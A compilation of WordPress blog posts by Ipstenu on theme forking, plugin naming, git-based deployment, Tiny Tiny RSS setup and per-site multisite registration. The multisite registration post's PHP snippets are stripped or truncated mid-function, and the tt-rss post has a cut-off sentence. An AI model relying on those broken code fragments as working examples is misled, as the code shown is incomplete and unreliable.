**Categories:** How It Is, How It Works
**Tags:** administration, essay, website
---
### [To Fork Or Not To Fork](https://halfelf.org/2013/to-fork-or-not-to-fork/)
**Published:** June 17, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Child themes, plugins, hacks, and tweaks. How do you edit a theme when you've outgrown what it is and make it what it needs to be?
**Content:**
 Sometimes the question you have to ask yourself is if you should fork. With a plugin, this is a fairly easy conversation. You want functionality, the original author doesn’t, you fork. But when you look at a theme, you start getting into messier territory.
In many ways, a theme is ‘simpler’ than a plugin. Theme devs, don’t shoot me! What I mean is that a plugin can be or do anything, but a theme is always a theme. While it may change how your site looks in amazing ways (and I am constantly in envy of people who can visualize like that), it really is just a theme. This is why reviewing themes is easier to monitor and manage than plugins. But that’s another conversation. The point here is that when you want to extend a theme, [you make a child theme](https://halfelf.org/2010/child-themes-learn-them-love-them/ "Child Themes – Learn them, love them"). Done.
What happens when you’re already using a child theme, though? StudioPress, a theme shop I love, makes child themes and sells those. This site is using a child theme, though it’s currently one of my own devising. Previously, it was using a child theme called Streamline, however, and it had a *lot* of changes.
So when do you make a child theme, and when do you extend it in other ways? It really depends on what you’re doing. While I sat and tried to figure out where my personal breakpoints were, I realized that since the best themes know they are a theme, and not a plugin, it was really easy. A great theme lets you seamlessly use a plugin to add in functionality. They may even tell you what the best ones are. Recently, Coen Jacobs wrote about how [good themes *never* bundle plugins](http://coenjacobs.me/en/dont-buy-bundled-premium-plugins) and he’s right. A plugin is a plugin, a theme is a theme. Keep ’em separate, keep ’em safe.
I’ve done it in three different ways for three different sites, and I’ll explain my rational below.
### The Simple
[](https://halfelf.org/wp-content/uploads/sites/2/2013/06/Fork+in+the+road.jpg)One site is simple. Every ounce of functionality I needed, and more, was in the core code of StudioPress, not even a child theme was needed. All I wanted was to change some colors and add in a couple CPTs and shortcodes. That was easily done via Jetpack, which has a CSS editor, and a couple plugins. Actually, 99% was the CSS, once I sat down and looked at it. All the weird stuff was normal plugins.
Sometimes simple is a teeny bit complicated, and when that happens, I may make a custom mu-plugin or two, but in general, not so much needed unless I want a Custom Post Type. And anyway, I never put a CPT in my theme if I can help it.
### The Complicated
On the other hand, one site is hella complex. I found a theme I really, really, liked. Almost. And worse, this was a child theme. It was exactly what I was afraid of. There was no way I would get what I wanted out of this theme unless I edited the functions.php file, a lot of the CSS, and a ton of the images. Could I still have done this via CSS and a couple plugins? No. Well, the CSS yes, but not the code. I had need for some crazy functions, a total re-write of comments, and the list went on.
In this case, I forked. I ripped out the small amount I never wanted. I added in the medium amount I did want. I directly edited the theme’s CSS, added in a post template, and changed all the images to my chose color. I even added in a different font. Could I have re-written from scratch? Of course, but the theme had 90% of what I already wanted to do.
There actually is a step before forking, and that would be using plugins. I know I mentioned plugins before, with the simple themes, but actually most theme frameworks are extra special. They often have custom plugins like [Simple Hooks](http://wordpress.org/plugins/genesis-simple-hooks/), which fundamentally lets me do everything I might do in a functions.php file for that theme. This means most of the time, I don’t fork. But. This theme really was so complex that I needed more than just the simple hooks. Genesis Complex Hooks may have done it, or another plugin to make a transient functions.php (ala CSS editing). And that would have done it except for when I wanted to change a lot of images, add in JS, and then a custom page template …
Well you see how it goes. The point here, however, is that I sat and thought about it, studied my setup, and made a long term decision. Originally I was using the plugin way, but when it stopped being extendable, I decided to do this, and I regret nothing.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/06/Fork_In_The_Road.jpg)
### The Original
The last option I had was I theme I kind of liked, but it was old. It was pre-HTML5, it didn’t have microformats, but more-over, it wasn’t aging as well as I would have liked. I made a list of what I liked about it, what I didn’t, and what I really wanted. While the list was short, it was also clearly *not* going to just be CSS. I wanted a custom front page, an extra page template, images, and Genericons built in. In short, I wanted this theme to be something that could carry me onward, regardless of a plugin, even one I wrote.
I have not made my own, 100% from scratch, child-theme in a long while, and this one may not really count since I was designing it to look like something else. This took me an afternoon to bang out the basics, and a couple days of minor fixes here and there to perfect them. Release and iterate, as they say. Certainly, I could have taken someone else’s theme, but it was going to be a surprising amount of work to do that. Instead, I made a list of my needed features and my desired options, and went to town. It’s still a pretty simple child-theme (which speaks well to the inherent extensibility of the parent), but now it’s mine, and it’s easy to extend it and expand it.
### The Rest…
What about you? What do you think about when deciding how to handle a theme that needs changing?
**Categories:** How It Is
**Tags:** coding, design, essay, open source, plugins, themes, wordpress
---
### [Code By Any Other Name](https://halfelf.org/2013/code-by-any-other-name/)
**Published:** August 7, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** My advice for naming your plugins and themes is to remember there is more than one name.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2013/05/red_rose__lips-wide.jpg)While this post is mostly geared to how to better name WordPress themes and plugins, the concepts should be easy to extrapolate for just about any bit of code. One of the hardest things to do, as a developer, is to come up with a name for your plugin or theme. Sometimes it’s really easy, like if you want to make a plugin that shows the phases of the moon as a widget, you’d probably call it ‘Phases of the Moon Widget.’ But is that the best name to give your plugin?
One of the least obvious aspects of plugins is that the name you submit when you fill in the form on the [WordPress Add a Plugin Page](http://wordpress.org/plugins/add/) is the name you get for your plugin. So if you submitted ‘Phases of the Moon Widget’ then you get the url `http://wordpress.org/plugins/phases-of-the-moon-widget`, and that will also be the name of the folder on someone’s blog: `/wp-content/plugins/phases-of-the-moon-widget/`. That may not be what you wanted.
When you’re coming up with the name of your plugin, few people give thought to the ‘slug’ you get with your plugin. They try to think of a name that is evocative and descriptive, but often not short and succinct. One might think, in this Twitter/SMS world, we’d be better coming up with short plugin names, but we often get plugins like ‘recently-used-categories-with-alphabetical-or-most-used-ordering’ and then the author gets annoyed with his URL.
In fairness to everyone, this isn’t well understood. And even I have plugin names I regret in the long run. The process is a little mystical and magical to how someone should be submitting a plugin with name and description. After all, you have more than one name and description to consider. You have the name, the slug, the description and the readme. Ouch! How do you do it?
[](https://halfelf.org/wp-content/uploads/sites/2/2013/05/IMG_0445.jpg)For this example, I’m going to pretend I wrote a plugin that pulls in data from mlb.com and sends an email to people on my blog every time the Cleveland Indians win a game. I plan for this plugin to be used for a BuddyPress community (The Base-Belles), but after I wrote it, I realized I could make this work for any MLB team, and for wins and losses. Thus I now have a plugin that, on my site, is probably called “Indians Game Winner Emails” and has a slug like “indians-winner-emails” or something weird like that. When I write code just for myself, I rarely concern myself with anything fussy with names.
I’ve also made a theme for this site that I want to share, and I’ve called it “Base-Belles” (after the site), but if I release this to the world, I’d want to make it something everyone can use for any team’s fan group, so I will genericize that up.
When you submit a plugin, you’re asked for a name, a description and a zip. So let’s get started. When you submit a theme, you’re uploading the zip directly, and it’s in there you pick your name and slug. So for themes, this is less of a hassle, but the basic principle remains.
## The Name
Even themes have two ‘names.’ You have your slug-name and your name-name. As I go to submit my plugin name, I might be tempted to type in “MLB Game Results Emailer by the Base-Belles” and in some ways, that is a great name for a plugin. It’s descriptive after all. But the first thing you need to do is drop any mention of ‘by…’ with your submissions. That’s just not needed, as a theme has a style.css to show who wrote it, and a plugin has the readme. We’ll know.
That means your name is now “MLB Game Results Emailer” which looks great. Or does it. Do I really want the slug `mlb-game-results-emailer`? What about `mlb-results-alerts` instead? That’s not much shorter, but as a slug goes, it’s descriptive. Even `mlb-results-mail` would be better. They’re to the point, and when I read the list of plugins via SSH or SFTP, I’ll know right away which plugin it goes with. This means I will submit my plugin with the name “MLB Results Mail” and I’m happy.
If this was a theme, I’d call it “Base-Belles” after the site, and use the slug `base-belles`. Boy that would be easy. Except … I generalized it, didn’t I? Now I have “MLB Fansite Theme for BuddyPress” which is a good name, but a bad slug. So for a slug, I’d use `mlb-fansite` instead. My child theme for my own site will become `base-belles` and now I’m happy here too! If I was really clever and totally made the theme generic, it would become “Sports Team Fansite” and `sports-fansite`.
## Descriptions
When we ask for a description what we really want is your short description. “This plugin sends an email to your subscribers every time your chosen baseball team wins a game.” Or a theme “This BuddyPress optimized theme is perfect for running fan-sites for baseball teams.” This is *all* anyone wants to see for a short description. It should fit in a tweet. Short, simple, perfect.
Why don’t we want all the details? Well for one you overwhelm us with too much information at once if you paste in the readme. And for another, themes and plugins gets hundreds of reviews to comb through a day. Keeping it simple and short saves us time, which makes it easier for us to work through high volume. Where we want to see details is in your readme.txt. These are absolutely required for a couple reasons. First (and most important) we want to know that you’re ready to go live. A plugin should *only* be submitted when it’s ready to be released to the wild, after all, and that means you have a fully finished wordpress.org repository page which is handled by (you guessed it) the readme. If I can’t read your readme and go “Aha, that’s how the plugin is installed and configured and that’s how I use it” then you have done something **wrong**. The readme.txt is your gateway drug. Love it. Make it sing.
Something I often tell people who have had plugins rejected is that when they resubmit “Put ‘I talked to Ipstenu about XYZ’ in the description so we know you’ve already spoken to one of us. That makes it painless for me to look in our group email box, find the previous conversation, make sure we’re all on the same page, and approve. Also if I both handled the earlier conversation and I see your submission, it’ll trigger my memory and I’ll get through your ticket faster.
## ZIPs
As of today, you cannot submit a plugin or theme to the WordPress.org repositories without a zip. not a RAR, not a gzip, but a zip.
I love getting zip files, but many times people submit zips that don’t open on linux, or have another zip in them. What we want in that zip is your complete plugin that I could upload to a test site. A theme will be auto-rejected by their scanner if it doesn’t meet their standards, you’ll have to start over. Plugins we still review everything by hand, so we have to open your zip. Personally, I use [TextWrangler](http://www.barebones.com/products/textwrangler/), which actually lets me open a zip without having to unzip it, but sometimes people zip things weirdly and I have to open it and drag the folder up.
If you’re using Github, there’s a built in link to a zip, which you can send us. BUT. Keep in mind, *the zip will not bring in submodules*. Yeah, ain’t that a damn dirty trick? You can use it to update your own code, but anyone who pulls down a zip to test with won’t get it. That really annoys me, and I’m not sure if it’s a bug or something Git did intentionally. Oh, submodules. You’re so complicated.
Do we care what you name your plugin’s zip? No. Do we care that you’re calling that name explicitly in your code? Yes. Use [functions to determine directories ](http://codex.wordpress.org/Determining_Plugin_and_Content_Directories) and save us all a hassle. Do we care about calling `wp-config.php` and other WordPress core files by name? We sure do, but that’s another topic altogether.
## Summary
In summary? Short slugs, descriptive names, simple descriptions, detailed readmes.
Of course, that’s high level stuff and doesn’t explain how to pick a plugin name. I’m highly fond of puns (hence Genericon’d) or I name things based on their original concept (rss2email was plugin’d as post2email). Sometimes the name is just obvious (Rickroll). Do you have tricks for coming up with a good name?
**Categories:** How It Is
**Tags:** coding, essay, wordpress
---
### [Deploying With Git](https://halfelf.org/2013/deploying-with-git/)
**Published:** April 30, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It may have taken me a year, but I've finally figured out that I was wrong the whole time, and using git to handle deployments isn't impossible, it's just different, and it can totally be scripted.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2013/03/git.png)I’ve been banging my head on this for a while. It really did take me a year and reading lots of things to begin to understand that I was totally wrong. As with many things, I have to sit down and use them for a while to understand what I’m doing wrong, and what I need to learn. I finally had my git breakthrough. It’s very possible (no, likely) that I got some of this wrong, but I feel like I now understand more about git and how it should be used, and that made me more confident in what I’m doing with it.
Speaking as a non-developer (hey, sometimes I am!), I just want a command line upgrade for my stuff. This code also lacks a WordPress-esque click to upgrade, so I have to do a three step tango to download, unpack, copy, delete, in order to upgrade.(By the way, more software should have one-click upgrades like that, it would make life easier for everyone. I do know that the backend support is non-trivial, so I would love to see a third-party act as a deployment hub, much like GitHub is a repository hub.) The more steps I have, the more apt I am to make an error. So in the interests of reducing my errors and my overhead, I wanted to find a faster and safer way to deploy.(My previous job was all about deployment. We had a lot of complicated scripts to take our code, compile it, compress it, move it to a staging site, and then email that it was ready. From there, we had more scripts to ‘move to test’ and ‘move to prod’ which made sense.)
Since I already thing that automating and simplifying deployment is good, and all I want to do is get one version, the ‘good’ version, of code and be able to easily update it. One or two lines is best. Simple, reliable, and easy to use. That’s what I want.
Recently, Ryan Hellyer pointed out [git archive](http://www.kernel.org/pub/software/scm/git/docs/git-archive.html), which he claims is faster than clone. I’d believe it if I could get it to work. When I tried using HTTPS, I got this: **fatal: Operation not supported by protocol.**. So I tried using ssh and got **Could not resolve hostname…** instead. Basically [I had all these problems](http://stackoverflow.com/questions/9609835/git-export-from-github-remote-repository). Turns out github turned off ‘git archive -remote’ so I’m dead in the water there for any code hosted there, which is most of my code.
I kicked various permutations of this around for a couple afternoons before finally throwing my hands up, yet again, and looking into something else, including [Capistrano](http://capistranorb.com/), which Mark Jaquith uses in [WP Stack](https://github.com/markjaquith/WP-Stack/). It’s something I’m personally interested in for work related reasons. Capistrano is a Ruby app, and vulnerability fears aside, it’s not very user friendly. At my old job, we used [ant](http://ant.apache.org/) a lot to deploy, though there don’t seem to be ant tasks yet for Git. The problem with both of those is that they require you to pull down the whole hunk ‘o code and I’m trying to avoid that in this use case. Keep it simple, stupid. Adding more layers of code and complication onto a project that doesn’t need it is bad.
Finally I went back to git and re-read how the whole distributed deployment works. I know how to clone a repository, which essentially gets me ‘trunk.’ And I know that a pull does a fetch followed by a merge, in case I’d done any edits, and it saves my edits. Hence merge, and why I dig it for dev. At length it occurred to me that what I wanted was to check out the git repo *without* downloading the code at first. Well I know how to do that:
```
$ git clone --no-hardlinks --no-checkout https://github.com/wp-cli/wp-cli.git wp-cli
Cloning into 'wp-cli'...
remote: Counting objects: 10464, done.
remote: Compressing objects: 100% (3896/3896), done.
remote: Total 10464 (delta 6635), reused 10265 (delta 6471)
Receiving objects: 100% (10464/10464), 1.20 MiB | 1.04 MiB/s, done.
Resolving deltas: 100% (6635/6635), done.
```
That brings down just a .git folder, which is small. And from there, I know how to get a list of tags:
```
$ git tag -l
v0.3.0
[...]
v0.8.0
v0.9.0
```
And now I can check out version 8!
```
$ git checkout v0.8.0
Note: checking out 'v0.8.0'.
You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.
If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:
git checkout -b new_branch_name
HEAD is now at 8acc57d... set version to 0.8.0
```
Well damn it, that was simple. But I don’t want to be in a detached head state, as that means it’s a little weird to update. I mean, I could do it with a switch back to master, a pull, and a checkout again, but then I thought about local branches. Even though I’m *never* making changes to core code (ever), let’s be smart.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/04/GBa6y.jpg)Linus Torvalds flipping Nvidia the birdOne codebase I use has the master branch as their current version, which is cool. Then there’s a 1.4.5 branch where they’re working on everything new, so when a new version comes out, I can `git pull` and be done.(In this moment, I kind of started to get how you should be using git. In SVN, trunk is where you develop and you check into tags (for WordPress at least) to push finished versions. In git, you make your own branch, develop there, and merge back into master when you’re ready to release. Commence head desking.)
One conundrum was that there are tags and branches, and people use them as they see fit. While some of the code I use defines branches so I can check out a branch, others just use tags, which are tree*ish*. Thankfully, you can make your own branch off a tag, which is what I did.
I tried it again with a non-Github slice of code: Mediawiki.(Mediawiki, compared to wp-cli, is huge, and took a while to run on my laptop. It was a lot faster on my server. 419,236 objects vs 10464. I’m just saying someone needs to rethink the whole ‘Clone is faster!’ argument, since it’s slow now, or slow later, when downloading large files. Large files is large.) Now we have a new issue. MediaWiki’s .git folder is **228.96 MiB**… Interestingly, my MediaWiki install is about 155MiB in and of itself, and diskspace is cheap. If it’s not, you’ve got the wrong host. Still, it’s a drawback and I’m not really fond of it. Running repack makes it a little smaller. Running garbage collection made it way smaller, but it’s [not recommended](http://metalinguist.wordpress.com/2007/12/06/the-woes-of-git-gc-aggressive-and-how-git-deltas-work/). This, however, *is* recommended:
`git repack -a -d --depth=1 --window=1`
It doesn’t make it super small, but hey, it worked.
Speaking of worked, since the whole process worked twice, I decided to move one of my installs (after making a backup!) over to this new workflow. This was a little odd, but for [Mediawiki](http://www.mediawiki.org/) it went like this:
```
git clone --no-hardlinks --no-checkout https://gerrit.wikimedia.org/r/p/mediawiki/core.git wiki2
mv wiki2/.git wiki/
rmdir wiki2
cd wiki
git reset --hard HEAD
```
Now we’re cloning the repo, moving our files, resetting where HEAD is, and I’m ready to set up my install to use the latest tag, and this time I’m going to make a branch (mysite-1.20.3) based on the tag (1.20.3):
```
git checkout -b mysite-1.20.3 1.20.3
```
And this works great.
The drawback to pulling a specific tag is that when I want to update to a new tag (1.20.4 let’s say), I have to update everything and then checkout the new tag in order to pull down the files. Now, unlike svn, I’m not making a full copy of my base code with every branch or tag, it’s all handled by head files, so there’s no harm keeping these older versions. If I want to delete them, it’s a simple `git branch -D mysite-1.20.3` call and I’m done. No code changes (save themes and .htaccess), no merging needed. And if there’s a problem, I can switch back really fast to the old version with `git checkout mysite-1.20.3`. The annoyance is that I just want to stay on the 1.20 branch, don’t I? Update the minors as they come, just like the WP minor-release updater only updates changed files.
Thus, I asked myself if there was a better way and, in the case of MediaWiki, there is! In world of doing\_it\_right(), MediaWiki has branches *and* tags(So does WP if you looked at trac.), and they use branches called ‘REL’. If you’re not sure what branches your repo uses, type `git remote show origin` and it will list everything. There I see REL1\_20 and since I’m using version 1.20.3 here, I surmised that I can actually do this instead:
```
git checkout -b mysite-REL1_20 origin/REL1_20
```
This checks out my branch and says “This branch follows along with REL1\_20.” so when I want to update my branch it’s two commands:
```
git fetch --all
git pull
```
The fetch downloads the changesets and the pull applies it. It looks like this in the real world (where I’m using REL1\_21 since I wanted to test some functionality on the alpha version):
```
$ git fetch --all
Fetching origin
remote: Counting objects: 30, done
remote: Finding sources: 100% (14/14)
remote: Getting sizes: 100% (17/17)
remote: Total 14 (delta 10), reused 12 (delta 10)
Unpacking objects: 100% (14/14), done.
From https://gerrit.wikimedia.org/r/p/mediawiki/core
61a26ee..fb1220d REL1_21 -> origin/REL1_21
80347b9..431bb0a master -> origin/master
$ git pull
Updating 61a26ee..fb1220d
Fast-forward
includes/actions/HistoryAction.php | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
```
This doesn’t work on all the repos, as not everyone follows the same code practices. Like one repo I use *only* uses tags. Still, it’s enough to get me fumbling through to success in a way that doesn’t terrify me, since it’s easy to flip back and forth between versions.
Fine. I’m sold. git’s becoming a badass. The only thing left is to protect myself with .htaccess:
```
# SVN and GIT protection
RewriteRule ^(.*/)?(\.svn|\.git)/ - [F,L]
ErrorDocument 403 "Access Forbidden"
```
Now no one can look at my svn or git files.
And to figure out how to get unrelated instances of git in subfolders to all update(Mediawiki lets you install extensions via git, but then you don’t have a fast/easy way to update…):
```
#!/bin/sh
for i in `find ./ -maxdepth 1 -mindepth 1 -type d`; do
cd $i
git pull
cd ../
done
```
And I call that via `./git.sh` which lives in /wiki/extensions and works great.
From here out, if I wanted to script things, it’s pretty trivial, since it’s a series of simple if/else checks, and I’m off to the races. I still wish every app had a WordPress-esque updater (and plugin installer, hello!) but I feel confident now that I can use git to get to where my own updates are faster.
**Categories:** How To
**Tags:** automation, command line, deployment, git, svn
---
### [Changing How We Develop](https://halfelf.org/2013/changing-how-we-develop/)
**Published:** September 24, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Developing new code in an old way, Aaron Jorbin's "WordPress Post Forking" looks to the future of how we take our software past hobby.
**Content:**
Traditionally in open source land, we come up with an idea for something, we sit in a room and talk about it (it’s kind of like flirting), we make some code, and we test it. Many, many, times we do this in isolation, and we do it in our free time, hoping one day to have the time to make it awesome.
What if we didn’t? What if, instead, we looked at history and remembered that some of our greatest works were brought about by patronage.
“Artists from Michelangelo to Shakespeare all received support to create the works of art that we know today.”
Now, finding a patron isn’t easy. It’s harder and harder to find fancy philanthropists who want to fund you for a while to write something awesome. And worse, trying to ‘schedule’ inspiration is hard. But in reality, we do this all the time. The inspiration is there for many of us, we just need the time *not* doing the other things.
Aaron Jorbin’s giving this a stab by crowd-raising the money to improve [WordPress Post Forking](http://www.indiegogo.com/projects/wordpress-post-forking/x/699596).
> WordPress Post Forking allows users to “fork” or create an alternate version of content to foster a more collaborative approach to WordPress content curation.
That sounded weird the first time I read it, but let me explain it differently. Have you ever written a post, published it, and then wanted to edit it and have someone else check it *before* you post the changes? WordPress can’t do that. Once a post is live, you can’t save a change without making that change live too. But what if you could? What if someone could ‘fork’ your post, make edits, and you could review those edits and pull them in? It would be like tracking changes on a Word Doc, only cooler.
I hope that other developers, who have great ideas, follow this patronage model going forward. After all, I never have a problem with paying for great code. I just have a problem paying for crapy code.
*ETA: It seems fitting I should repost this pic here:*
Aaron Jorbin – Haters Gonna Hate (by Helen)
**Categories:** How It Is
**Tags:** development, essay, wordpress
---
### [Goodbye Google Reader](https://halfelf.org/2013/goodbye-google-reader/)
**Published:** March 14, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Google gave, and Google has taken away.
**Content:**
[](http://poorlydrawnlines.com/comic/tiny-hippo-and-the-tiny-train/)Credit: [Poorly Drawn Lines](http://poorlydrawnlines.com/comic/tiny-hippo-and-the-tiny-train/)You know, I get it. RSS is not a popular tool for people who like the ‘river’ flow of data. If you like everything to flow into your stream and back out, like Tumblr or Twitter or Facebook, then the [loss of Google Reader](http://googlereader.blogspot.com/2013/03/powering-down-google-reader.html) is meaningless to them. “Why do I want *another* inbox?” they argue. That’s all fine and dandy for you, but we have to accept that different people process data differently. Some people like to watch news come in live, like reading a CNN ticker, and if they miss it that’s okay. Others of us like to say ‘These are the things I like, save a note when they happen and I’ll read them when I can.’ They’re two different workflows, and they appeal to different people.
Me? I’ve been using [Tiny Tiny RSS](http://tt-rss.org/redmine/projects/tt-rss/wiki) for [just under a year now](https://halfelf.org/2012/tiny-tiny-rss/ "Tiny Tiny RSS"), and I’ve actually figured out how to do everything I want, with key-commands. Since I use multiple devices for my news consumption (two laptops, an iPad, etc etc) having this web-based was a real killer. And while I could use a cloud device, I’ve never found one that worked across Windows *and* Macintosh, and wasn’t blocked by The Bank. That’s less of an issue now, but having it all on my own server beings me back to my oldest bugaboo ever: *Owning my data*.
If there’s anything you get from the whole Google Reader fiasco, it should be this: *Google gave, and Google has taken away.* Everyone who is mad that Google “Broke their trust.” just hasn’t been paying attention to the last year or two at Google. [Google Apps for Email](https://halfelf.org/2012/google-apps-aint-free/) anyone? It’s not free anymore. But let’s not belabor the I-told-you-so part and get to the meat of the post.
**[Tiny Tiny RSS](http://tt-rss.org/redmine/projects/tt-rss/wiki)**
So installing this is really easy for anyone who’s installed any PHP/SQL app before, I’m not going to get into that, you can read the [Install Notes](http://tt-rss.org/redmine/projects/tt-rss/wiki/InstallationNotes) yourself. What I will point out are the plugins I find most useful, and the quirks to keep in mind.
First of all, ttrss is more like MediaWiki than WordPress. This means the upgrade is mostly manual for some of us, and you activate plugins by editing the `config.php` file. However. There is *also* a plugin interface in settings, so the define’d plugins are basically like Network Activated, which is great if you have multiple users. The other plugins are in the preferences.
Plugins work like this:
```
define('PLUGINS', 'auth_internal, digest, updater');
```
And I am fond of the following:
- auth\_internal – Authenticates against internal tt-rss database
- digest – Digest mode for tt-rss (tablet friendly UI) *Turn this on if you use your iPad*
- updater – Updates tt-rss installation to latest version.
Interestingly, I cannot run the web-updater from my server, and it’s certainly to do with my PHP settings. That said, the manual upgrade is like WP: upload files, refresh DB, drink beer. I don’t mind it at all. There are the other available plugins under Preferences -> Plugins, and they make a lot of sense just by looking at them. Obviously they’re easy to see based on what you’d want to use. There’s no Twitter Plugin since Twitter’s new API made it a hassle to tweet and I don’t blame them on this front.(Tangental: Speaking of asinine moves, Twitter’s new API may require us to use it to embed tweets. The answer to the direct question was [predictably vague](https://dev.twitter.com/discussions/14709#comment-32938).)
But if you’re here today, you probably want a more Google Reader type experience. I would enable ‘Combined Feed Display’ under preferences and disable ‘Automatically expand articles in combined mode’. This will bring the ability to expand posts. It doesn’t collapse them quite right or at all via mouse, *HOWEVER* everything you want can be done via key commands.
- **s** – Mark an article as starred.
- **n (or down-arrow)** – go to the next article
- **p (or up-arrow)** – go to the next article
- **u** – toggle read/unread
That’s pretty much all I needed, and once I read them, they were blindingly obvious. You can see them when you’re
You can style CSS to fiddle with the layout, but so far I’ve not figured out how to make it display the title of the feed.

versus

On the other hand, I know the favicons of most of these sites so with a little CSS jiggering I was able to make it look a little better for myself. Here’s my CSS:
```
div.postReply div.postContent, body#ttrssMain, body#ttrssPrefs, body#ttrssLogin, body,blockquote,#content-insert blockquote, #headlines-frame blockquote, .dijitContentPane blockquote { font-size:14px;}
div.postReply div.postHeader { font-weight:bold;font-size:14px;}
.hlScorePic {display:none;}
img.tinyFeedIcon {float:left;}
.Unread span.titleWrap { font-weight:bold; }
```
From there on out, you can play with design as you like it. It’s clean, it’s simple, and best of all, it’s Open Source so if you like most of it, you can fork the rest!
**Categories:** How To
**Tags:** freedom, open source, rss
---
### [Multisite Per Site Registration](https://halfelf.org/2012/multisite-registration/)
**Published:** August 17, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's a holy-grail to many. Make a per-site registration form that will not only let users sign up, but actually add them to the site they signed up from!
**Content:**
*This post is dedicated to TJ List, who [donated to help me get to WCSF](http://www.indiegogo.com/halfelf-wcsf2012). He’s the last post of this ilk, so I’ll stop having these announcements, but I wanted to say thank you all, one more time. My new job starts the 27th, and you all helped!*
Edit: If you want a plugin, see [Join My Multisite](https://halfelf.org/plugins/join-my-multisite/)
Sometimes people want a way to sign up for the network on specific sites, and not go back to the main site. And I often tell people ‘You need to make a custom page template with the code from the signup page in it.’
But how? There’s going to be a lot of code in this post, so at the end I’ll give you a link to the whole file you can download and play with. We’re going to go through the steps, however, since we may not be using the same theme, and you’ll need to understand the process.
## Make your Page Template
First you make a new page template. I always call mine `page-template-signup.php` because well named files/code don’t need as much inline documentation.
Since I wanted to build this off of TwentyTwelve, I grabbed the full page template, and pulled that over:
```
My Content Here
```
Obviously on a first pass, nothing much is going on here. The next step is to open up `wp-signup.php` and take a look. There’s a *lot* going on here, but we don’t need all of it.
First let’s look at what we need to add to the header area. Most of this is just styling and a little tweakage to stop search engines from thinking people need to really find this page, so let’s add the following right above `get_header();`
```
add_action( 'wp_head', 'wp_no_robots' );
// Fix for page title
$wp_query->is_404 = false;
function wpmu_signup_stylesheet() {
?>
and put it in there. It's a lot of code, I know. I'm not including it here because of that. Again, check the attached file.
Finally search your file for all instances of wp-signup.php and change them. To what? To whatever you're going to name your page in the next section. I knew I wanted to name my page signup, so I replaced it with that.
Make Your Page
Next you make a page. This is easy. You go in to your site, you make a page (I called mine Signup) and you put in no content. Pick the page template called 'signup' and save. I always opt to turn off comments and pingbacks on this page for what I hope are obvious reasons. Don't bother putting in any content to the post. Because we didn't leave in the loop, it wouldn't display.
If that's something you want, then you would leave the loop info in where I had 'My Content Here'
[php]
```
That’s an ‘as you like it’ sort of thing. If you need to leave messages, etc, it’s great.
And that’s kind of it. Oh, you’ll want to mess with your CSS, but that’s all you need to get started! It even keeps you on the page.
## How it looks…
Since there are multiple registration options, here’s how they look:
### With Registration Disabled
[](https://halfelf.org/2012/multisite-registration/registration-disabled-withcontent/)
[](https://halfelf.org/2012/multisite-registration/registration-disabled/)
### User accounts may be registered
[](https://halfelf.org/2012/multisite-registration/registration-enabled-usercomplete/)
[](https://halfelf.org/2012/multisite-registration/registration-enabled-user/)
### Logged in users may register new sites
[](https://halfelf.org/wp-content/uploads/sites/2/2012/08/registration-loggedinonly.jpg)
### Both sites and user accounts can be registered
[](https://halfelf.org/2012/multisite-registration/registration-enabled-all-site/)
[](https://halfelf.org/2012/multisite-registration/registration-enabled-all-user/)
## Adding Users to Sites
I know, I said we were done. There’s one more thing. What happens if you want that per site registration to automatically add people to the site they’re on? That is, if someone goes to halfelf.org/signup/ I want them to be added to halfelf.org as a user. The problem with this is when you register for a user account, you may have noticed there’s an ‘extra’ step to confirm. This is where you get that email that says ‘click here…’
The ‘good’ thing is the URL you get looks like this `https://halfelf.org/wp-activate.php?key=0ef92965187a50be` and it will take you back to the right site to login! The ‘bad’ thing is it doesn’t actually add you to the site. It will add you any time you create a site, but if you just make a login ID, you get this:
[](https://halfelf.org/wp-content/uploads/sites/2/2012/08/no-access.jpg)
As you can see from that URL, it’s sending me back to wp-activate.php, which is something we can’t change in our signup template. If you know you want to add all users to all sites, then you want [Multisite User Management](http://wordpress.org/extend/plugins/multisite-user-management), but that isn’t always the case. So what do we do? Option one is to grab a plugin that makes us approve all users, then we can add them as they’re requested. But you don’t want to do manual work, I’d guess.
The trick is to add an action onto user registration, but *only* run it per site. So you’d want this in an mu-plugin, and since halfelf happens to be blog #2, I do this:
```
```
That says ‘Hey, if I’m on blog ID 2, when people register, kick them to be a subscriber on this blog. I have mine in a plugin called `halfelf-autoregistration.php` and it works rather nicely. If someone registers on ipstenu.org, even if they try to login to halfelf, they can’t login because their registration process was on the other site.(I suppose if someone was clever, they could take https://halfelf.org/wp-activate.php?key=0ef92965187a50be and change it to https://ipstenu.org/wp-activate.php?key=0ef92965187a50be to register there, but there’s no change in ‘risk’ between being a network psudeo subscriber and a real subscriber. If I was adding in editors, I’d probably change my mind here and manually validate every new user. I’m trusting in the fact that most people aren’t that clever.)
Do you have any tricks that help you do this?
Oh and here’s the file to download. It’s in .txt for security reasons.
[Download Here](https://halfelf.org/wp-content/uploads/sites/2//2012/08/page-template-signup.txt)
**Categories:** How To
**Tags:** coding, multisite, registration, wordpress
---
### [The dangers of an unchecked MultiSite?](https://halfelf.org/2010/the-dangers-of-an-unchecked-multisite/)
**Published:** July 21, 2010
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** If you're running a website, you have a lot more responsibility than just yourself.
**Content:**
 Blogetery was shut down, mysteriously, over the weekend. It was a WP MultiSite setup, with around 70k blogs. Not terribly abnormal to have an install that big, but the thing as an unnamed law enforcement agency shut them down. Details, such as they were, were posted at ReadWriteWeb: [70,000 Blogs Shut Down by U.S. Law Enforcement](http://www.readwriteweb.com/archives/70000_blogs_shut_down_by_us_law_enforcement.php). Their shutdown reminded me of the hazards of running a website where anyone can register and make their own site and how important it is to be vigilant about what shows up on your website.
